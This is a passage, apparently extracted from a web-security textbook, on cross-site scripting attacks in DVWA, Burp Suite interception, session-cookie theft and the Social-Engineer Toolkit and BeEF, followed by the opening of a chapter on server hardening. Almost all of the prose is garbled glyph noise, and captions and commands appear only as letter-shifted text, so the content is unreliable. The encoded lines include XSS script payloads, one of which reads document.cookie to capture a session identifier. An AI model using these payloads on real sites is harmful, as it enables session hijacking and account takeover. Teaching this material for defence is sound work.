ȱ Ȃȱ ȱ ȱ ¡¡ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ¢ȱ ǯȱ ȱ ¢ȱ ȱ
ȱ ȱ ¢
ǰȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ
ȱ
ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ
ȱ ȱ ȱ ȱ Ȃȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ěȱ ȱ ¢ȱ ȱ ȱ ȱ £Ƿȱ ȱ ¢
ȱ ȱ ȱ ęȱ ȱ ǰȱ ȱ ¢ǰȱ ǰȱ ȱ ǰȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ¢ȱ ȱ ȱ
ǯȱ Ȃȱ ȱ ¢ȱ ȱ ȱ ¢¡ȱ ȱ ȱ ȱ ȱ Ȭȱ ȱ ¡
¢ȱȱȱȱ¡¡ȱȱȱȬȬȱǯ
VFULSW!DOHUW-5RGZDVKHUHVFULSW!
ȱ ¢ȱ ȱ ȱȱ Ĵȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ
ȱȱȱȱȱȱ ȱȱȱȱǯȱǰȱ¢ȱ ȱȱ
ȱȱȱȱȱȱȱDzȱȱȱȱ¡ȱ¢ȱȱȱ
ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱ ȱȱ ȱȱȱŜǯŘǯ
Hello
OK
),*85( 6XFFHVVIXOUHIOHFWHG;66SURRIRIFRQFHSWDWWDFN
ȱȱȱĚȱ ȱȱȃ ȱȱǰȱȱȄȱȱȂȱȱȬȱĴȱ
ȱȱȱȱȱȱȱȱȱȱȱ¡ȱȱȦȱ ǯ
ȱ ȱȱȱȱĴȱȱȱȱȱȱȱǰȱȱȂ
¢ȱ ȱ ȱ ȱ ȱ ¡ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ǯȱ ȱ
¢ȱ¢ȱ ȱȱȱȱȱȱȱȱ¢ȱǯ
,QWHUFHSWLQJ7KH6HUYHU5HVSRQVH
ȱ ȱ ȱ¢ȱȱ¢ȱȱȱ ȱǰȱ ȱ ȱȱȱȱȱǯȱ
ȱȱȱȱȱȱȱȱĴǰȱ¢ȱ¢ȱȱȱȱ
ȱ ȱ ȱ ȱ Ȃȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ¢
ǯȱ ȱȱȱȱȱ ȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱȱȱ ȱȱȱȱȱȱ
ȱȱ¢ȱ ǯȱȱȱȱȱȱȱȱȱȱ¢ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ¡¢ǯȱ ¢
ǰȱ ȱ ¡¢ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ¢ȱ ȱ ȱ
ȱȱȱȱȱȱȱ¡¢ȱȱ ȱȱȱŜǯřǯ
ȱ¢ȱȱ ȱ ȱȱ ȱȱȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ǯȱ ȱ ¢
ȱ ȱ ȱ ȱ ȱ ¡¢ǰȱ ¢ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱȱȱȱȱ ȱȱȱŜǯŚǯ
),*85( ,QWHUFHSWLQJ5HIOHFWHG;66UHTXHVWLQ'9:$
ȱ ȱȱȱȱȱȱȱȱȱĴȱȱĴȱǰȱ
ȱ¢ȱ ȱȱȱ ȱȱȱȱȱ ȱĴǯȱȱȱȱȱ
Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱŜǯśǯ
),*85( ,QWHUFHSWLQJ5HIOHFWHG;66UHVSRQVHLQ'9:$
ȱȂȱȱ ȱȱ¢ȱȱȱȱȱ¡ȱȱǯ
ȱ ¡ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱǀȱ ȱ ȱ ȱƖřȱ ȱ ȱ
ȱǁȱȱȱȱƖřǯȱ ȱ¢Ȃȱȱȱȱȱȱǰȱ¢ȱȱ
ȱȱȱȱȱ ǯȱ ȱ¢ȱ ȱȱȱȱȱ ǰȱ¢ȱ
ȱȱ ȱ
ȱȱȱȱȱȱȱȱ ȱȱ ȱȱȱŜǯŜǯ
<div C lA33“"lS0dV_|iiHltlÿtl">
<hir' Vulnerability: Reflected Cross Site Scripting |XSS)</hl>
cpctsltaiu <3 -
sinj>uc cype="i5tt])wic" VtUue=,,3stibmicM>
t
'
-:i LV>
),*85( 5DZ+70/WKDWLQFOXGHV;66DWWDFN
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¡ǯȱ
ȱ
ȱȱȱȱ ȱȱȱȱ ȱȱȱȱȱ
ȱĴȱȱȱȱǷȱȱȱȱȱ
ȱȱȱȱȱȱ
ȱȱȱȱȱȱȂȱǰȱȱ ȱĴȱȱȱǯȱȱ¢
ȱȱȱȱ ȱȱȱȱȱȱȱȱȱȱȱ ȱȱ
ȱ ȱǷȱȱ ȱȱȱǯ
(QFRGLQJ;663D\ORDGV
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱȱ ȱȱȱȱȱȱȱȱȂȱǯȱȱȱ
ȱȱȱȱȱȱȱȱȱȱȱȱ ȱȱȱŜǯŝǯ
),*85( 85/HQFRGLQJWKH³-5RG´;66DWWDFNVWULQJ
ȱȱȱȱȱ ȱȱȱȱȱ ȱ ȱ¢ȱȱ¢ȱ¢ȱ
ȱȱȱǯȱȱȱȱȱȬ ȱȱȱȱȱȱȱȱȱ
ȱ ȱ¢ȱȱȱ¢Ȃȱȱȱǯȱȱȱȱ ȱȱȱĴȱȱ
ǯȱȱȱ ȱ ȱěȱȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ǯȱ ȱ ¢Ȃȱ ȱ ȱ ȱ
Ȃȱȱȱȱ¢ȱȬȱȱȱȱȱǰȱ
ȱȱ ȱȱȱȱǯȱ ȱ¢Ȃȱȱȱȱǰȱ¢
ȱȱȱȬȱ ȱĴȱȱȱ ȱȱȱ ȱȱȱ
ȱȱ ȱȱȱŜǯŞǯ
| target proxy '
_spider_ intrude r_ '
repeater j sequencer decoder ["comparer options -,i.
| Intercept opttonT~[history ] _
request to http: #127.0.0.1(30
),*85( 8VLQJ85/HQFRGHG;66DWWDFNLQ%XUS3UR[\
ȱȱȬȱ¡ȱȱȱȱȱȱȱȱȱ¢ȱ
ǯȱȱȱȱȱ ȱȱȱȱĴDzȱ ȱȱ¢ȱȱȱ¢
ȱȱ ȱ ȱȱȱȱȱȱȱ ȱ ȱȱ ȱȱȱȱ
ǯ
;66,Q85/$GGUHVV%DU
ȱĴȱȱȱ¢ȱȱȱȱȱ¢ȱȱȱȱȱȱ
ȱȱȱ ȱĴǯȱȱȱȱȱȱȱȱȱǻ
ȱȱȱ¡Ǽ
ȱȱȱ¢ȱ¢ȱȱȱȱȱȱ ǰȱ¢ȱ ȱ
ȱȱȱDZ
YXOQHUDELOLWLHV[VVBU"QDPH +DOYHUWR
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ¢ȱ Ȭȱ ȱ Ĵȱ ¢ȱ ȱ ȱ
ȱ ǯȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ¢ȱ Ĵȱ ȱ ȱ
ȱȱȱȱȱȱȱ ȱDZ
YXOQHUDELOLWLHV[VVBU"
QDPH FHFDI
FIH
ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ Ȭȱ ȱ ¡ȱ
¡ȱȱȱȱ ȱȱȱĴȱȱȱ ȱ ȱȱȱȱ ȱ
ȱŜǯşǯ
),*85( 85/GHWDLOVRIUHIOHFWHG;66DWWDFN
;66$WWDFNV2Q6HVVLRQ,GHQWLILHUV
ȱȬȱȱȱȱȱǰȱȱ ȱȱ¢ȱ¢ȱȱ ȱȱ¢ǵ
ȱĴȱȱ ȱ¢ȱȱȱĴȱȱȱ¢ȱȱȱȱȱȱ
ȱǯȱȱȱȱȱǯȱȱȱȱȱȱȱȱȱ¢
ȱȱȱȱȱ ȱȱ ȱȱȱȱ¡ǯ
VFULSW!DOHUWGRFXPHQWFRRNLHVFULSW!
ȱ ¡ȱ ȱȱ ŜǯŗŖȱ ȱ ȱ ȱ ȱ Ȭǰȱ ȱ ¢ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱǯ
PHp&eS5iDÿl(KlftSvql4s8l<kq4CfW55fq7; s«urity=ioiN
),*85( 5HWULHYLQJDVHVVLRQLGHQWLILHUZLWKDUHIOHFWHG;66DWWDFN
ȱ ¢ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
ȱȱǷ
6WRUHG;66$WWDFNV
ȱ ȱ ȱ ǰȱ Ĵǰȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ
ȱȱȱȱȱȱ ȱȱȱŜǯŗŗǯ
4, Malicious
script
executes
Hacker
Masquerade as victim
),*85( 7KHVWHSVLQDVWRUHG;66DWWDFN
ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱȱ¢ȱ ¢ȱȱȱ ȱĴȱȱ¡ǯȱȱ
ȱȱȱȱȱȱȱȱȱȱȱȱȱǯ
ŗǯȱȱȱȱȱȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱ¢ǯ
Řǯȱȱȱȱȱȱ¢ȱȱȱȱȱȱȱȱȱ
ȱȱȱȱ¢ȱȱ¢ȱȱȱǻȱȱȱ
ȱȱȱȱǼǯ
řǯȱȱȱȱ ȱ¡ȱȱ¢ȱȱȱȱȱȱǯȱȂ
ȱȱȱȱȬȱǰȱȱȱ ȱ¡ȱ¢ȱȱȱȱ
ǯ
ȱ ȱȱȱȱȱ¡ȱȱ ȱȱ¢ȱȱȱȱ ȱ¡
ȱȱȱȱȱȱ ȱȱȱȱȱȱȱȱȱȱȱ
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢
ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
¢ǰȱȱȱȱȱȱȱȱȱȱȱȱ ȱĴǯȱȱȱĴ
ȱȱȱĚȱ ȱȱȱȱȱǰȱȱȱȱȱȱ
Ȭȱȱ¡ȱȱȱǯȱȱȱȱȱȱȱǯ
3HUVLVWHQFH2I6WRUHG;66
ȱ ȱ ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ
ȱȱȱ¢ȱ¢ȱȱȱȱȱȱȱ ȱȱȱŜǯŗŘȱǻǼ
ȱŜǯŗřȱ ǻǼǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ
ȱǯ
Vulnerability: Stored Cross Site Scripting (XSS)
Nam*
),*85( 6XEPLWWLQJDVWRUHG;66DWWDFNLQ'9:$
OK
),*85( 2XWSXWRIVWRUHG;66DWWDFNLQ'9:$
ȱ ȱȱȱȱȱȱȱĴȱȱȱȱȱȱȱ
ȱ ȱ¢ǯȱȱĴȱȱ Ȃȱ ȱȱȱȱ¢ȱȱȱ
ȱ¢ȱȱ ȱȱ
Ȃȱ¢ȱȱȱŜǯŗŚǯ
¢ȱȱ¢ȱȱȱȱȱȱȱȱȱĴȱ ȱ¡ȱ
ȱ Ĵȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¢ȱ ¢ǰȱ ¢ȱ ȱ ȱ
ȱ Ȧȱ ȱ ȱ Ĵȱ ȱ ȱ ȱȱ ȱ ȱ ȱ
ȱȱȱȱǯ
Kane: lesl
Message: This is a lest comment.
Name: Dave
Message. I like hugs
Marne- Kenh
Message:
),*85( 7KHJXHVWERRNHQWULHVLQFOXGLQJDVWRUHG;66DWWDFN
ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ¢ȱ ȱ ȱ
ȱ ȱ Ěȱ ȱ ǰȱ ¢ȱ ȱ ¢ȱ ȱ ȱ
ȱǯ
ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ǯȱ
¢ȱȱȱȱȱ ǰȱȂȱȱǷȱȱȱǰȱ¢
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱ ȱȱȱ ȱ¡ȱȱȱ
Ȧȱȱȱȱȱȱȱȱǯ
8VHU$WWDFN)UDPHZRUNV
ȱȱȱȱȱȱȱȱȱȱ ȱȱ ȱȱȱ
ȱ ȱ ȱ ¢ȱ ȱ ¡ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ Dzȱ ȱ
ȱȱȱȱǛŗȱ¡ȱ ȱȱ¢ǯȱ ȱȱȬȱȱ
ȱ
ȱȱȱȱȱȱȱǰȱȱ¢ǰȱȱȱ
ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ ǰ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ǯȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ¢Ƿȱ ȱ ȱ ȱ ȱ ȱ ¡
ȱȱȱȱȱ ȱȱȱȱ¢ȱǯ
6RFLDO(QJLQHHU7RRONLW6(7
ȱ Ȭȱ ȱ ǻ Ǽǰȱ ȱ ¢ȱ ȱ
¢ǰȱ ȱ ȱ Ȃȱ
ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ¢ȱ ȱ ¢ǯȱ
ȱȱȱ ȱ¢ȱȂȱȱȱǰȱȱ ȱȱȱȱȱȱ
ȱȱȱ ȱǯȱ ȱȱȱ¢ȱȱ¢ȱȱ
¡ȱ ¢ȱ ȱ ǯȱ ȱ Ȃȱ Ĵȱ ȱ ȱ ¢ǰȱ ǰ
ǰȱȱę ȱȱǰȱ ȂȱĴȱ¢ȱȱȱȱǯȱ Ȃȱ¢ȱ
ȱ Ĵȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ Ĵȱ ǯ
ȱȱ¢ȱ¢ȱȱȱȱȱȱȱȱȱȱȱǯȱȱȱȱ
ȱ ȱ ¢ȱ ¢ȱ ¡ȱ ȱȦȦ¡Ȧȱ ȱ ȱ ȱ
ǯ
ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱǯȦȱ ǯȱ ȱ ȱ ȱ ǰȱ ¢
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǻȱ ȃ¢Ȅȱ ȱ ȃ¢ȄǼȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ¢ȱ ǻȱ ȃŗȄȱ ȱ ȱ Ǽǯȱ ȱ
ȱȱǰȱȱȱȱȱ ȱȱȱ ȱȱȱŜǯŗśǯ
Visit: https://www.trustedsec.com
1) Social-Engineering Attacks
2} Fast-Track Penetration Testing
3} Third Party Modules
4) Update the Hetasploit Framework
5) Update the Social -Engineer Toolkit
6) Update SET configuration
7) Help, Credits, and About
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ¡ȱ ȱ ¢ȱ ȱ
ȱȱȱȱȱȱȱȱǯ
JLWFORQHȱKWWSVJLWKXEFRPWUXVWHGVHFVRFLDOHQJLQHHUWRRONLWȱVHW
ȱ¢ȱȱȱǛŗȱȱȱȱȱȱȱĴǰȱ¢ȱȱ
Ĵȱȱȱȱȱǰȱȱ¢ȱȱȱȱǛŘȱ ȱĴȱ
ȱ ǯȱȱȱ¢ȱ¡ȱěȱĴȱȱȱęȱȱ ȱ
¢ȱȱȱǰȱȱȱȱ ȱ ȱ¢ȱ ȱȱȱǷ
Ŷȱȱȱȱȱȱ ȱȱȱȱȱȱȱȱȬ
ȱ¢ǯȱȱȱ£ȱȱȱȱ¢ȱȱȱȱȱ
¢ǯ
Ŷȱȱȱ ȱ¡ȱȱ ȱ£ȱȱȱ ȱ¡
ȱȱȱȱȱȱȱ¢ǯ
Ŷȱȱȱ
ȱȱ ȱ£ȱ ȱȱȱȱ ȱȱȱȱ
ȱȱ ȱȱȱȱȱȱȱȱȱȱ ǯ
Ŷȱȱȱȱ ȱ ȱȱȱȱȱȱȱȱȱȱȱȱ ǰ
ȱȱȱȱȱȱȱǯ
Ŷȱȱȱȱȱȱȱȱȱ ȱȱ¢ȱ
ȱȱ£ȱ
ȱȱȱȱȱȱȱȱȱȱȱȱǯȱ
ȱȱȱȱ¢ȱȱȱȱȱǀȱȱƽȈDZȦȦȦȈǁǯ
ȱȱȱȱȱȱȱȱȱȱǯ
ŶȱȱȬȱȱȱ ȱȱ¢ȱ ȏǰȱǰȱȱ
ȩȱǯȱȱȱ£ȱȱȱȱȱȱ
ȱȱȱȱȱ ȱ ȱȱȱ ȱȱȱȱ
ȱ ȱȱȱǯ
ŶȱȱȱȱȱȱȱȱȱȱȏȱȱȂȱȱ ȱȱǯ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ Ǜŝ
Ȭ Ĵȱ ȱ ǯȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱĴǯȱȱ¡ǰȱ¢ȱȱȱȱȱȱĴȱȱȱȱȱ
ȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱ ȱ¢ȱĴȱȱȱȱȱȱȱ¢Ȃ
ǯ
ȱȱȱ ȱȱ ȱ¢ǰȱ¢ȱȱȱȱȱ ȱȱ ȱ ȱ ȱȱ
ȱȱȱȱȱ ǯȱȱ ȱȱȱ ȱȱȱ ȱȱȱ
ȱ ȱ ǯȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ǰȱ ȱȂȱȱ ȱȱȱȱȱ ȱȱ ǯȱ ȱ
ȱ ȱȱȱȱǯȱȱȱȱȱȱȱȱȱȱȱ ȱ
ȱ ǻ ȱ ȱ ȱ ȱ ȱ ȱ ¡Ǽǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ¡ǯȱ ȱ ȱ ¡¢ȱ
ȱȱȱ¢ȱȱȱ¡ȱȱ ȱȱȱȱȱȱŘǯ
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱ ȱ ǰȱ ȱ ȱ Ȃȱ ȱ ȱ ęȱ ȱ ȱ Ĵǯȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ŗŝŘǯŗŜǯŜşǯŗřśȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ
ŗŝŘǯŗŜǯŜşǯŗřŚǯȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ Ȃȱ ȱ
ȱȱȱ ȱȱ ȱDZ
ŗǯȱȱŗȱȱȱȱȱ
ŘǯȱȱŘȱȱȱ
řǯȱȱȃȄȱȱȃȄȱȱȃȱ¢ȱȱȦȱ ȱǽ¢ȩǾȄ
ŚǯȱȱDZȦȦǯȱȱȱȱȱ
śǯȱȱŗŗȱȱȱȱȱȱȱǻȱȱȱȱȱȱ
ȂȱǼ
ŜǯȱȱŚŚřȱȱȱȱ
ȱ¢ȱ¢ȱȱȱǰȱ¢ȱ ȱȱȱęȱȱ
¢ȱȃȱ Ȭȱ ȱ ǻǼȱ ȱ ȱ ȱ ŖǯŖǯŖǯŖDZŚŚřȄǯ ȱ ȱ ȱ ȱ
ȱȱȱǷ
ȱ¢ȱȱȱȱ ȱȱȱ¢ȱȱȱȱȱ ȱ ȱȱȱ
ŗŝŘǯŗŜǯŜşǯŗřŚǯȱȱȱ ȱȱȱȱȱȱ ȱȱȱ
ȱ ¢ȱ ȱ ȱ ȱ ǰȱ ȱ ǰȱ ȱ ǰȱ ȱ ǰȱ Ĵǰȱ
ȱȱ ¢ȱȱȱǯ
ȱȱĴȂȱǰȱ ȱ¢ȱȱȱ ȱȱǻ ȱȱȱȱ
££¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ Ǽȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱ ȱȱ ȱ ȱȱȱȱȱǯȱ ȱȱȱ
ȱȱȱ ȱȱȱȱȱȱȱȱǰȱȱȱȱȱ
ȱȂȱȱȱȱȱȱȱĴǯȱȱ ȱȱęȱȱ¢ȱ
ȱ ȱ ¢ȱ ȱ ȱ ȱȱ Ȭȱ ȱ ǻȂȱ ȱ ȱ Ǽȱ ȱ ȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ¢ȱ ȱ ȱȱ Ȭȱ ŗȱ
ǻȂȱ ȱ ȱ ȱ ȱ ȱ ǛŗǼǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱě¢ȱ¢ȱ¢ȱȱȱȱȱȱ¢ȱȱ
ȱȱǯ
ȱȂȱǷȱ Ȃȱȱ¢Ƿȱȱȱȱȱȱȱ ȱȱȱĜȱ
ȱDZȦȦ ǯǯȦ ȦȬȬȦǯȱ ȱ ȱ ȱ
ȱ ȱȱ ȱȱĴȱ¢ȱȱȱĴDZȱ ȂȱĴ¢ȱ
ȱ Ȭȱ ǯȱ ȱ Ȃȱ ȱ ȱ Ȭȱ ȱ ȱ ȱ ȱ ȱ Ȭȱ ȱ ȱ
ǯȱ ȱĴȱȱ ȱȱ ȱ ȱ
¢ȱȱ ȱȱȱȱȱȱȱ
ȱ ȱȱȂȱ¢ȱȱȱDZȱȃȱ¢ȱȱȱǰȱȱȱ
¢ȱȱȱ ǯȱȱ¢ȱȱȱȱȱǰȱ¢dzȄ
2WKHU1RWDEOH8VHU$WWDFN)UDPHZRUNV
ȱ ȱȱȱȱȱȱȱ ȱȱȱȱ ȱȱĴȱ ǰȱȂȱ
¢ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ¢ȱ ȱ ǯȱ ȱ
ȱȱ ȱȱ¢ȱȱȱȱȱ¢ȱȱȱȱ
ȱ¢ȱȱȱȱȱȱȱǯ
ŶȱȱȱȱȱǻǼȱȱȱ¢ȱȱȱȱȱ ȱȱ
ȱ ǰȱǰȱȱ¢ȱȱȱȱŗśȱǯȱȱ
ȱȱ¢ȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱǯȱȱȱȱȱ
ȱȱȱ¢ȱȱȱ¢ȱȂȱȱȱȱ¢ȱȱȯ
ȱ¢ȱ ȱǷȱȱȱȱȱȱǰȱȂȱ¢ȱ¢ȱȱȱȱ
¢ȱȱȱȱ ȱȱȱȱȱ¢ȱȱȱȱ¢
ȱǯȱȱȱȱȱȱȱȱ
DZȦȦ ǯǯȦȦǯ
Ŷȱȱ ȱ¡ȱȱǻǼȱȱȱȱȱȱȱ
ȱȱȱǰȱ¢ȱȱ ǯȱȱȱǰȱ¢ȱȱȱȱȱ
ȱȱȱȱȱȱ¢ȱȱȱȱȱȱ
ȱȱȱȱ¢ȱȱǯȱȱȱȱ ȱ
ȱ ȱȱȱǰȱ¢ȱ ¢ȱȱȱȱȬȱȱȱȱ
ȱǰȱȱ ȱȱǯȱȱȱ ȱ¢ȱȱȱ
ȱȱ¢ȱȱ¡ȱȱȱȱȱ ȱȱȱȱ
ȱȂȱǯȱȱȱȱ¢ȱȱȱȱȱ¢
ǰȱȱǰȱȱȱ ȱȱǯȱȱ
ȱȱȱȱȱȱDZȦȦǯȦǯ
ŶȱȱȬȱȱ ȱǻǼȱȱȱ ǰȱȱȱ
ȱȱ ȱ ȱȱȱǯȱȱȱȱȱȱ
ȱȱ ȱȱȱȱ¢ȱȱȱȱȱȱǯȱ
ȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱ¡
ȱ¡ȱȱ ȱ¢ȱȱȱȱȱȱȱ ǯȱ
ȱȱȱ ȱȱ¢ȱȱȱȱ¡ȱȱȱȱǁ
ǯȱȱȱȱȱȱȱȱǯȱȱȱȱȱȱ¡ȱȱ
ȱȱȱȱ ǯȱȱȱȱȱȱȱȱ
DZȦȦǯǯȦȦ¡Ȧǯ
& + $3 7 ( 5
¡
&KDSWHU5XQGRZQ
Ŷȱ
ȱ¢ȱ ȱȱȱȱȱȬ
Ŷȱ
ȱȱȱȱȱȱȱ
Ŷȱȱȱȱ
Ŷȱȱȱȱȱȱȱȱ
ŶȱȱȬȱDZȱȱȱȱ¢ȱ¢ȱ
,QWURGXFWLRQ
ȱ¡ȱȱ¢ȱȱȱȱȱȱȱȱ¢ǰȱ¢
ȱȱ¢ȱ ȱȱȱ¢ȱȱȱȱȱȱ ȱȱȱȱȱ ȱ
¡ȱȱǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱȱȱȱȱȱȱĴȱȱȱǯȱ ȱȱ
ȱȱȱ ȱǰȱȱ ȱǰȱȱȱ ȱǰȱȱȱ
ȱȱȱȱȱȱ¡ȱȱǯ
ȱȱȱȱȱ¢ȱȱ ȱȱȱȱȱȱ¢ǰ
ȱȱ¢ȱȱ¢ȱę¡ȱȱȱȱĴȱȱȱ¢ȱ
ȱȱ¢ǯ
:HE6HUYHU)L[HV
ȱȱȱȱȱȱȱȱȱ ȱȱ
ȱȱ ȱȱȱȱǯȱȱ¢ȱȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ŗŖȱ ¢ȱ ȱ ȱ ȱ ȱ ŗŖŖƖȱ ȱ ȱ ȱ ¢ȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȬȬ ȱ ȱ Ȃȱ
ȱ¢ȱȱǷ
6HUYHU+DUGHQLQJ
ȱȱȱȱȱ¢ȱȱȱ ȱȱŗŖȱȱ ȱȱ
ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱ ȱ ȱ ȱ ǰȱ Ȃȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱǯȱ ȱȱ¢ȱȱȱȱȱȱǰȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱǯ
Ŷȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱ¢ȱ
ȱȱȱ¢ȱȱ ǯȱǰȱǰȱȱ
ȱȱȱȱȱ¢ǯȱȱȱȱȱ
ȱ£ȱȱȱȱȱȱȱȱ ȱȱǯ
Ŷȱȱȱȱȱȱȱȱȱ¢ȱȱ ȱ ȱȱ
ȱȱȱ¢ȱȱȱȱ¢ȱǯȱȱȱȱȱ
ȱȱȱ ǰȱ ȱȱ¢ȱǯ
Ŷȱȱȱȱȱȱȱǻȱȱ¡ȱȱǼ
¢ȱȱȱȱȱȱȱȱǯ
*HQHULF(UURU0HVVDJHV
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ
ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ǻȱ ȱ
¢ȱǼǰȱȱȱȱȱȱ ȱȱȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵǯȱ ȱ ȱ ȱ ȱ ȱ
ȱȱĴȱȱ¢ȱȱȱȱȱ ȱ
ȱȱ ȱ¢ȱȱ ȱǯȱȱ ȱȱȱȱȱȱȱ
ȱǯȱȱ¢ȱȱȱȱȱȱ ȱȱȱ
¡ȱȱȱȱ ȱȱȱŝǯŗȱȱŝǯŘȱȱȱǯ
tuuitter
Twitter Is over capacity.
H i '
w
of1
e»5* I.w U>J*TVt C**W1 Irÿrt tr- m*s *6* tQi Pinny
),*85( 7ZLWWHU¶V³)DLO:KDOH´HUURUSDJHWKDWVWDUWHGWKHFUHDWLYHHUURUPHVVDJHSDJHPRYHPHQW
••
),*85( *HQHULFHUURUFRGHODQGLQJSDJH
ȱȱǰȱȱȱȱȱȱȱȱȱȱǰȱȱ¢
ȱ ǰȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
